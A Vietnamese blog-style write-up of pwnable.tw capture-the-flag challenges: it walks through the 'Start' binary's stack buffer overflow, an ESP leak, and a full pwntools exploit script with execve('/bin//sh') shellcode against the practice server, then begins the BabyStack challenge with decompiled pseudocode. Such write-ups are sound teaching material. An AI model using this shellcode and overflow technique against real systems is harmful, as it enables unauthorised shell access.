Pwnable.tw
Table of Content #
0x00 Lời chào #
Khoảng một tháng trở lại đây, tôi chuyên tâm hơn vào việc chơi pwn. Một phần là vì mảng pwn khó, phần còn lại là tôi nghĩ nó có thể giúp tôi kiếm được tiền :)) Vì là một người mới, những kiến thức mà tôi viết ở đây có thể chưa chính xác hoàn toàn. Rất mong các bạn đọc góp ý để tôi phát triển hơn nữa.
Pwnable.tw là một trang luyện tập mảng pwn khá nổi tiếng của Đài Loan. Theo tôi cảm nhận, thử thách ở đây khá khó cho người mới. Nếu các bạn không làm được thì cũng đừng lấy gì làm lạ. Tôi đã mất khoảng hơn 1 tuần để nghiền ngẫm challenge đầu tiên.
0x01 Start #
I. Tổng quan #
Đề bài cho chúng ta duy nhất một file là start
. Việc đầu tiên tôi thường làm sẽ là kiểm tra xem file là 32 hay 64 bits. Để kiểm tra, tôi thường dùng file
.
$ file start
start: ELF 32-bit LSB executable, Intel 80386, version 1 (SYSV), statically linked, not stripped
Thông tin cho chúng ta biết được đây là một file 32 bits. Load chương trình vào IDAPRO x32, quan sát các hàm ở mục Functions
, nhận thấy rằng chương trình chỉ xoay quanh hàm _start
.
Tiếp đến, tôi sẽ sử dụng checksec
để kiểm tra các lớp bảo vệ của file. Tôi đoán sẽ có nhiều bạn không hiểu dùng checksec
để làm gì. Ngày trước tôi cũng như vậy, nhưng sau một khoảng thời gian ngắn, tôi được tiếp cận thêm về lỗ bổng BOF - Buffer Overflow, tôi mới thấy nó vô cũng hữu hiệu.
$ checksec --file="start"
RELRO STACK CANARY NX PIE RPATH RUNPATH Symbols FORTIFY Fortified Fortifiable FILE
No RELRO No canary found NX disabled No PIE No RPATH No RUNPATH 8) Symbols No 0 0 start
Đối với bài toán này, để đơn giản, các bạn chỉ cần quan tâm tới thông số NX: Disabled
. Nghĩa là các bạn có thể chèn mã thực thi lên stack. Nếu NX: Enabled
, cho dù mã thực thi được chèn lên stack thì nó vẫn sẽ không hoạt động.
II. Phân tích #
push esp
push offset _exit
xor eax, eax
xor ebx, ebx
xor ecx, ecx
xor edx, edx
push 3A465443h
push 20656874h
push 20747261h
push 74732073h
push 2774654Ch
mov ecx, esp ; addr
mov dl, 14h ; len
mov bl, 1 ; fd
mov al, 4
int 80h ; LINUX - sys_write
xor ebx, ebx
mov dl, 3Ch ; '<'
mov al, 3
int 80h ; LINUX -
add esp, 14h
retn
Mã assembly của hàm _start
rất dễ đọc, chúng ta sẽ đi phân tích nội dung từng đoạn code.
Việc đầu tiên là đẩy thanh ghi ESP
và offset của hàm _exit
vào trong stack. Sau đó, gán giá trị của 4 thanh ghi EAX, EBX, ECX, EDX = 0
. Tiếp theo là đẩy các giá trị 3A465443h, 20656874h, 20747261h, 74732073h, 2774654Ch
vào trong stack.
Câu hỏi đặt ra ở đây là 5 con số trên là gì vậy? Rất đơn giản, nó chính là:
- 3A465443h = “:FTC”
- 20656874h = “ eht”
- 20747261h = “ tra”
- 74732073h = “ts s”
- 2774654Ch = “‘teL”
Chúng đại diện cho chuỗi “Let’s start the CTF:”
Đoạn mã tiếp theo, chương trình gọi ra 2 system call là sys_write và sys_read
mov ecx, esp ; addr
mov dl, 14h ; len
mov bl, 1 ; fd
mov al, 4
int 80h ; LINUX - sys_write
Thông tin của sys_write
:
- Xuất ra màn hình chuỗi từ địa chỉ ESP hiện tại
- Số byte: 0x14 bytes
- File descriptor: stdout
xor ebx, ebx
mov dl, 3Ch ; '<'
mov al, 3
int 80h ; LINUX - sys_read
Thông tin của sys_read
- Đọc một chuỗi từ bộ nhập chuẩn
- Số byte: 0x3C
Đoạn mã cuối cùng tăng giá trị thanh ghi ESP
lên 0x14 đơn vị. retn
gọi địa chỉ thanh ghi ESP
đang giữ rồi cộng ESP
lên 4 đơn vị.
add esp, 14h
retn
III. Lỗ hổng #
Chúng ta cùng nhìn qua cấu trúc của stack trước khi gọi 2 system call.
Giá trị của thanh ghi ESP
ở:
- Hiện tại:
0xFFFFD124
- Ban đầu:
0xFFFFD140
Chú ý rằng, thường các challenge sẽ bật Address Space Layout Randomization nên giá trị thanh ghi ESP
ban đầu luôn có giá trị ngẫu nhiên. (Đây là lý do vì sao mình không lấy ESP = 0xFFFFD140
để khai thác lỗ hổng)
Như ta đã phân tích ở trên, sys_read
cho phép đọc 60 bytes vào stack. Nếu chúng đã nhập vào 20 bytes, thì từ địa chỉ 0xFFFFD124
đến 0xFFFFD134
sẽ được fill đủ.
Giả sử chúng ta tiếp tục nhập vào, các giá trị tại các địa chỉ trên nó sẽ bị thay đổi. Dẫn tới lỗ hổng BOF.
IV. Hướng tấn công #
Công việc chúng ta cần thực hiện:
- Lấy được địa chỉ thanh ghi
ESP
ban đầu. - Từ việc có được giá trị thanh ghi
ESP
ban đầu, chúng ta sẽ đưa địa chỉ trả về của hàm là địa chỉ của shellcode.
Công việc 1 #
Để lấy giá trị của thanh ghi ESP
ban đầu rất đơn giản. Chúng ta nhập đủ 20 bytes để lấp đầy địa chỉ từ 0xFFFFD124
đến 0xFFFFD134
, tiếp tục ghi thêm 4 bytes 0x08048087
để chương trình có thể gọi system call read và write lần thứ 2.
Bây giờ, giá trị của thanh ghi ESP
sẽ là: 0xFFFFD124 + 0x14 + 0x4 = 0xFFFFD13C
. Chú ý, đây cũng là nơi chứa giá trị thanh ghi ESP
ban đầu.
Lợi dụng việc gọi sys_write
lần thứ 2. Chỉ cần in ra 4 bytes đầu tiên, chúng ta sẽ lấy được địa chỉ ESP
ban đầu.
payload1 = b'x' * 0x14 + p32(0x08048087)
r.sendafter(b':', payload1)
esp_leaked = u32(r.recv()[:4])
Công việc 2 #
Sau khi đã có địa chỉ ESP
ban đầu. Việc của chúng ta là phải tính toán xem phải input bao nhiêu ký tự để chương trình có thể thực thi được shellcode.
Gọi địa chỉ ESP
ban đầu là ESP = X
, giá trị hiện tại ESP = X - 4
Sau khi sys_read
được gọi, ESP + 0x14
, nghĩa là ESP
đứng ở X + 16
. Ở X + 16
, chúng ta chỉ cần gán cho nó giá trị là X + 20
, nơi shellcode được viết. Hàm trả về sẽ là địa chỉ shellcode được bắt đầu.
payload2 = b'x' * 0x14 + p32(leaked_esp + 0x14) + shellcode
V. Mã khai thác #
from pwn import *
r = remote("chall.pwnable.tw", 10000)
shellcode = b"\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x89\xc1\x89\xc2\xb0\x0b\xcd\x80\x31\xc0\x40\xcd\x80"
payload1 = b'x' * 0x14 + p32(0x08048087)
r.sendafter(b':', payload1)
esp_leaked = u32(r.recv()[:4])
payload2 = b'x' * 0x14 + p32(esp_leaked + 0x14) + shellcode
r.send(payload2)
r.interactive()
VI. Tham khảo #
0x02 BabyStack #
Sau khi decompile và rename các biến, chúng ta thu được mã giả như sau
__int64 __fastcall main(__int64 a1, char **a2, char **a3)
{
_QWORD *v3; // rcx
__int64 v4; // rdx
char buf[64]; // [rsp+0h] [rbp-60h] BYREF
__int64 random_password[2]; // [rsp+40h] [rbp-20h] BYREF
char option[16]; // [rsp+50h] [rbp-10h] BYREF
mmap_canary();
random_fd = open("/dev/urandom", 0);
read(random_fd, random_password, 0x10uLL);
v3 = canary;
v4 = random_password[1];
*(_QWORD *)canary = random_password[0];
v3[1] = v4;
close(random_fd);
while ( 1 )
{
write(1, ">> ", 3uLL);
read_(0LL, option, 0x10LL, 0x10LL);
if ( option[0] == '2' ) // exit()
{
break;
}
if ( option[0] == '3' )
{
if ( status_login )
{
copy_input(buf);
}
else
{
LABEL_x1040:
puts("Invalid choice");
}
}
else
{
if ( option[0] != '1' )
{
goto LABEL_x1040;
}
if ( status_login )
{
status_login = 0;
}
else
{
login((const char *)random_password);
}
}
}
if ( !status_login )
{
exit(0);
}
memcmp(random_password, canary, 0x10uLL);
return 0LL;
}